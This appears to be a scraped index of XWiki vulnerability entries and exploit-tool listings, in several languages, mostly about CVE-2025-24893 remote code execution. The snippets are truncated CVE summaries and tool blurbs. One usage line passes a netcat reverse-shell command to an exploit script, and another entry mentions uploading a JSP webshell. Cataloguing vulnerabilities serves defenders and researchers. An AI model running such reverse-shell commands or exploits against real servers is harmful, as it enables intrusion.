XWiki < 4.10.20 - Remote code execution

XWiki is vulnerable to a remote code execution RCE attack through its user registration feature. This issue allows an attacker to execute arbitrary code by crafting malicious payloads in the "first name" or "last name" fields during user registration. This impacts all installations that have user...

XWiki - Cross-Site Scripting

XWiki is vulnerable to reflected Cross-Site Scripting XSS via the viewer=changes endpoint. The rev2 parameter is not properly sanitised before being rendered in the response, allowing an attacker to inject arbitrary JavaScript. Affects XWiki versions prior to the patched release. id: CVE-2026-401...

XWiki - Cross-Site Scripting

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page XSS. id: CVE-2023-35155 info: name: XWiki - Cross-Site Scripting author: ritikchaddha severity: medium...

XWiki < 4.10.15 - Information Disclosure

The Solr-based search suggestion provider that also duplicates as generic JavaScript API for search results in XWiki exposes the content of all documents of all wikis to anybody who has access to it, by default it is public. This exposes all information stored in the wiki but not some protected...

XWiki < 14.10.14 - Cross-Site Scripting

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. When document names are validated according to a name strategy disabled by default, XWiki starting in version 12.0-rc-1 and prior to versions 12.10.12 and 15.5-rc-1 is vulnerable to a reflecte...

XWiki < 14.10.14 - Cross-Site Scripting

XWiki is vulnerable to reflected cross-site scripting RXSS via the rev parameter that is used in the content of the content menu without escaping. If an attacker can convince a user to visit a link with a crafted parameter, this allows the attacker to execute arbitrary actions in the name of the...

XWiki < 14.10.5 - Cross-Site Scripting

XWiki Platform is vulnerable to reflected XSS via the previewactions template. An attacker can inject JavaScript through the xcontinue parameter. id: CVE-2023-35162 info: name: XWiki 14.10.5 - Cross-Site Scripting author: ritikchaddha severity: medium description: | XWiki Platform is vulnerable t...

XWiki >= 2.5-milestone-2 - Cross-Site Scripting

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page XSS. It's possible to exploit the resubmit template to perform a XSS, e.g. by using URL such as:...

CVE-2025-24893-Reverse-Shell

CVE-2025-24893 - XWiki 远程代码执行漏洞利用工具 针对 CVE-2025-24893 的 PoC – XWiki 宏远程代码执行 灵感来源于 Artemir 的原始 PoC 描述 这是一个针对 CVE-2025-24893 的概念验证 PoC 利用工具，该漏洞是 XWiki 脆弱版本中的远程代码执行 RCE 漏洞。 该缺陷在于 SolrSearch 端点对用户输入的清理不当，容易通过 RSS 订阅查询受到未沙箱化的 宏注入攻击。 该脚本通过 async 宏注入 Groovy 载荷，导致 服务器上的命令执行 ，攻击者可借此触发指向其系统的 反向 shell 。 用法...

CVE-2025-32429-Checker

CVE-2025-32429 漏洞检查器 一个基于Python的漏洞扫描器，用于检测XWiki平台中的CVE-2025-32429 SQL注入漏洞。 功能 单目标扫描 ：使用 -t 选项检查单个目标 批量扫描 ：使用 -l 选项从文件扫描多个目标 WAF检测 ：自动检测Web应用防火墙 基于时间的检测 ：识别基于时间的SQL注入漏洞 基于错误的检测 ：检测响应中的SQL错误信息 多线程 ：支持可配置线程数的快速扫描 详细输出 ：使用 -v 标志获取详细的扫描信息 安装 依赖 root@kitploit: pip3 install requests urllib3 使其可执行...

CVE-2025-24893

CVE-2025-24893 - XWiki 未认证远程代码执行 针对 XWiki 未认证远程代码执行漏洞 CVE-2025-24893 的 PoC 利用程序。该 PoC 允许通过 SolrSearch 宏中的 Groovy 代码执行任意命令。 详情 root@kitploit: 严重性：严重 CVSS 评分：9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H EPSS 评分：92.01%（极高利用可能性） 受影响版本：15.10.11、16.4.1 和 16.5.0RC1 之前的所有版本...

CVE-2025-24893

CVE-2025-24893 PoC | XWiki Platform 15.10.10 - 远程代码执行 一个 RCE（远程代码执行）类别的漏洞，当未经身份验证的攻击者可以在无需身份验证或先前访问权限（访客用户）的情况下远程执行任意 Groovy 代码时被发现。以下是针对此漏洞的 Python PoC（概念验证）。 安装。 1. 克隆仓库到您的机器。 root@kitploit: git clone https://github.com/zs1n/CVE-2025-24893 2. 执行漏洞利用脚本。 root@kitploit: python3 CVE-2025-24893.py...

CVE-2025-66024

CVE-2025-66024: La página de inicio de la aplicación Blog de XWiki es vulnerable a XSS almacenado a través del título de la publicación Resumen...

CVE-2025-24893-EXP

CVE-2025-24893-EXP 受影响版本 xwiki-platform = 5.3-milestone-2, = 16.0.0-rc-1, 16.4.1 16.0.0-rc-1, 16.4.1 POC https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-24893.yaml CVE-2025-24893 - XWiki 平台利用 用法: python CVE-2025-24893.py -u -c 免责声明...

cve-2022-29464

cve-2022-29464 免责声明 root@kitploit: 脚本仅供学习参考，请勿恶意攻击他人网站 如违法乱纪，造成一切后果由使用者自行承担 技术无罪，与作者无关 使用脚本默认同意以上说明！ --Author:lowkey0808 使用方法 root@kitploit: usage: python3 -u url cve-2022-29464 optional arguments: -h, --help show this help message and exit -u 目标url -s 上传的木马,默认上传内置shell.jsp 可直接命令执行 可上传webshell...

CVE-2025-24893

CVE-2025-24893 针对 XWiki 版本低于 15.10.11、16.4.1 和 16.5.0RC1 的远程代码执行漏洞利用。 用法 root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' 仅用于道德目的 :...

CVE-2024-31982

CVE-2024-31982 PoC 和批量扫描器 概述 CVE-2024-31982 的 PoC：XWiki 平台远程代码执行 14.10.20。此 PoC 基于此安全公告。 使用方法 单个目标扫描 扫描单个目标端点： root@kitploit: python CVE-2024-31982.py -u target 批量目标扫描 批量扫描多个目标： root@kitploit: python cve-2024-31982.py -f targets.txt 安装 最低要求 Python 3.6 或更高版本 requests 库 安装脚本 root@kitploit: git clon...

CVE-2025-24893-XWiki-unauthenticated-RCE-via-SolrSearch

CVE-2025-24893 – XWiki 中未经认证的远程代码执行 0 目录 1. 摘要 2. 漏洞详情 3. 受影响版本 4. 概念验证 4.1 构建载荷 4.2 手动利用 4.3 自动化 Python 利用 5. 缓解措施 6. 致谢与参考 1 摘要 CVE： 2025-24893 组件： SolrSearch 宏（XWiki UI） 严重性： 9.8 / 严重（CVSS 3.1） 攻击向量： 未认证 HTTP GET 影响： 任意 Groovy 执行 → 系统级 RCE（Jetty/Tomcat 用户权限） /xwiki/bin/get/Main/SolrSearch...

CVE-2025-24893-PoC

CVE-2025-24893-PoC XWiki Unauthenticated RCE Exploit Affected XWiki Versions Versions 15.10.11 Versions 16.4.1 Versions 16.5.0RC1 Vulnerability Description Affected XWiki versions contain a Remote Code Execution vulnerability caused by unsafe Groovy expression handling in the SolrSearch macro...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit PoC de RCE no autenticada para XWiki SolrSearch CVE-2025-24893. Ejecución de comandos + shell inversa. CVE-2025-24893 – XWiki SolrSearch RCE PoC Prueba de concepto para la inyección de plantillas SolrSearch de XWiki que permite la ejecución remota de código sin autenticació...